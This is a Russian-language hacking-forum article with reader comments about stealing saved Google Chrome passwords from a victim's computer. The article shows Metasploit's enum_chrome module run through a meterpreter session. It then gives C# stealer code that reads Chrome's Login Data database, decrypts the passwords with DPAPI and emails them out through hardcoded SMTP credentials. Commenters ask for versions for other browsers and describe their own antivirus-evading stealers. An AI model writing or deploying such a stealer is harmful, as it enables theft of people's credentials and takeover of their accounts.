Статья Воруем пароли из Google Chrome

Ave Caesars, morituri te salutant! И снова здрасте. Почему я вспомнил Цезаря? Потому что как гладиаторы, что бились во имя его, мы сегодня пойдем в борьбу за пароли гугл хрома во славу Хека.

Как и в любой моей статье будет личный профит и разработка. Ну обо всем по порядку……..

Итак, что мы хотим? Допустим, нам удалось каким либо образом похекать компутер жертвы, это здорово, но мы хотим, разумеется его аккаунт на форуме Кодеби, чтобы почитать приватики. Юзверь оказался неПальцемДеланный и использует разные пароли от разных ресурсов.

Давайте же посмотрим, как мы можем вытащить эти пароли мощью прекрасного метерпретера.
Каким либо образом получаем сессию метерпретера
upload_2017-1-23_0-34-44.png

А далее используем следующий модуль
Код:
run post/windows/gather/enum_chrome
upload_2017-1-23_0-36-3.png

После чего смотрим исходный файл
Код:
cat /root/.msf4/loot/20170122102848_default_192.168.1.222_chrome.decrypted_217283.txt
upload_2017-1-23_0-36-42.png


Ура джедайская сила метeрпретера справилась с поставленной задачей и вывело нам логин и пароль hac126@narod.ru:hac126@narod.ru

Ну это было бы слишком просто для статьи. А что если у нас нет метерпретера?
Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту.
Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа.

Мастер – ключ - это комбинация следующих элементов:
  • SID — уникальный идентификатор безопасности.
  • HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений).
  • PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей.
  • MasterKey BLOB — это как раз данные с зашифрованным ключом.
Подробнее почитать тут

Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы.
Давайте напишем такой стиллер.
Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код:
Код:
string fileDb = @"C:\Users\Codeby\AppData\Local\Google\Chrome\User Data\Default\Login Data"; // Путь к логин данным
string connectionString = $"Data Source = {fileDb}";
string fileName = @"C:\Temp\output.txt"; // Выходной файл с паролями
StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8);
string dbWay = "Login Data";
string db_fields = "logins"; // база паролей SQLITE
byte[] entropy = null;
string description;

DataTable db = new DataTable();
            string sql = $"SELECT * FROM {db_fields}";
            using (SQLiteConnection connection = new SQLiteConnection(connectionString))
            {
                SQLiteCommand command = new SQLiteCommand(sql, connection);
                SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                adapter.Fill(db);
            }

            int rows = db.Rows.Count;
            Console.WriteLine($"Всего записей: {rows}");

            for (int i = 0; i < rows; i++)
            {
                string url = db.Rows[i][1].ToString();
                string login = db.Rows[i][3].ToString();
                byte[] byteArray = (byte[])db.Rows[i][5];
                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                string password = new UTF8Encoding(true).GetString(decrypted);
                sw.WriteLine("----------------------------");
                sw.WriteLine($"Номер: {i}");
                sw.WriteLine($"Сайт: {url}");
                sw.WriteLine($"Логин: {login}");
                sw.WriteLine($"Пароль: {password}");
            }
            sw.Close();

            MailSend.SendMail("smtp.mail.ru", "codeby1@mail.ru", "123qweasd", "hac126@ya.ru", "Пароли", fileName, fileName);
            Console.ReadKey();

Код класса DPAPI Взят отсюда
Код отправки сообщений на шарпе приводится не будет в целях безопасности.
В итоге получаем профит.
upload_2017-1-23_0-42-5.png


upload_2017-1-23_0-42-25.png


Всем спасибо. Видосик.

 
Скрин не прикрепляется вот ссылка
С хромом такой ситуации не возникает, вот эта ошибка вылазит когда пишу путь до файла Оперы, если открывать в SQLITE файл от хрома то все отлично там всем отображается, а вот если открывать файл от Оперы, то он требует пароль.
проблему решил, все из за того что был открыт браузер.
 
SooLFaa, А можно с Yandex'ом по шаманить? ( и было бы супер ещё FireFox сделать ).
До обновления был файл Login Data в папке %AppData%\Yandex\...\Login Data
А после обновления новой версии Yandex изменил шифрования файлов, теперь просто DPAPI не проходит. Новое название теперь файла: Ya Login Data
Как решать будем? =)
 
SooLFaa, А можно с Yandex'ом по шаманить? ( и было бы супер ещё FireFox сделать ).
До обновления был файл Login Data в папке %AppData%\Yandex\...\Login Data
А после обновления новой версии Yandex изменил шифрования файлов, теперь просто DPAPI не проходит. Новое название теперь файла: Ya Login Data
Как решать будем? =)
Я уже забросил этот проект. Но гляну.
 
очень зря что забросил , статья дает пищу для размышления
 
Есть ошибки в коде, я так понимаю от скрипт-кидди?)
Собсна у меня своя мулька, аналогичная на java с jdpapi64.dll и что странно АВ не палит (аваст по крайней мере).
В почту приходят куки и пассы от хрома, лисы, ИЕ - без пробелм.
Вот теперь пытаюсь разобраться с Mac и Safari... Нашел статью на Хакере по теме, но вектор не совсем тот что надо + у меня нет мака для тестов :(
Собственно к ТС вопрос - есть понимание как там это устроено? Куда копать хотя бы? Мак обещали подогнать к концу недели, но до этого момента хотелось бы матчасть подтянуть.
З.Ы. SooLFaa - благодаря тебе попал на борд, прочитал у тебя вообще все, отдельный респект за root-me.org xD
 
Скажите а скрипт, желательно на Python преобразования cookie из txt в json никто не встречал? Я нашел на php, но я его не знаю, придется реверсом переписывать. Поискал на github тоже не нашел, может неправильно запросы составлял или таким просто никто не озаботился по причине того, что у кого есть такой формат кук пользуется встроенной возможностью панели :)
 
Скажите а скрипт, желательно на Python преобразования cookie из txt в json никто не встречал? Я нашел на php, но я его не знаю, придется реверсом переписывать. Поискал на github тоже не нашел, может неправильно запросы составлял или таким просто никто не озаботился по причине того, что у кого есть такой формат кук пользуется встроенной возможностью панели :)
akworksenterprises.com
 
Попробовал данный подход на браузере Opera - версия:57.0.3098.116 в итоге получился такой результат:
1.jpg
 
Хм, надеюсь еще кто нибудь посетит эту статью и ответит мне на вопрос почему у меня ошибка DPAPI "Win32Exception: Ключ не может быть использован в указанном состоянии"
 
Хм, надеюсь еще кто нибудь посетит эту статью и ответит мне на вопрос почему у меня ошибка DPAPI "Win32Exception: Ключ не может быть использован в указанном состоянии"
Попробуйте использовать код из моей статьи - RMS Hellion - Telegram
Если будут проблемы напишите в личку, я помогу.
 
  • Нравится
Реакции: Sunnych
У меня есть статья в которой учимся писать RMS, одна из функций это кража паролей Из Chrome. Ссылка: RMS Hellion - Telegram
Напиши еще бл**ть 10 статей как воровать пароли с хрома. А то ж их так мало на форуме.
очень зря что забросил , статья дает пищу для размышления
Я не забросил, я не пишу больше на этом форуме. Велком ту ачат. в L8 ветку.
Попробовал данный подход на браузере Opera - версия:57.0.3098.116 в итоге получился такой результат:
Мультибраузерный вариант есть в GOLD секции стремись туда.

Хм, надеюсь еще кто нибудь посетит эту статью и ответит мне на вопрос почему у меня ошибка DPAPI "Win32Exception: Ключ не может быть использован в указанном состоянии"
В твоем случае скорее всего нет доступа к DPAPI или файлу с паролями а так гадаю на кофейной гуще. В какой строке ругается? DLL импортнул?
 
  • Не нравится
Реакции: Debug
Не могу понять в чем проблема, если можете помогите.
Ето при откритии /root/.msf4/loot/20210212131643_default_192.168.1.101_chrome.raw.Histo_106811.txt и других файлов из post/windows/gather/enum_chrome


� � � � � � � � � � � � � � � � x p h ` X H P @ 8 � 0 h ���xh�������������p`XP@0���������������$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$��$�$}�$~�$y�$x�$s�$t�$r�$q�$u�$p�$o�$m�$l�$j�$i�$h�$g�$f�$b�$a�$`�$e�$]�$d�$[�$c�$Z�$X�$W�$V�$U�$T�$S�$R�$Q�$P�$O�$M�$K�$n�$k�$N�$L�$J�$I�$F�$E�$G�Y$Y#�X#�X#�X#�X#�W#�W#�V#�U#�U#�T#�T#�T#�S#�R#�Q#�P#�O#�N#�M#�L#�K#�J#�I#�H#�G#�F#�E#�D#�D#�D#�D#�D#�D#�D#�D#�D#�D#�C#�C#�C#�C#�C#�C#�C#�C#�C#�B#�B#�B#�B#�B#�B#�B#�B#�B#�A#�A#�A#�A#�A#�A#�A#�A#�@#�@#�@#�@#�@#�@#�@#�@#�?#�?#�?#�?#�?#�?#�?#�>#�>#�>#�>#�
+�]�o
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!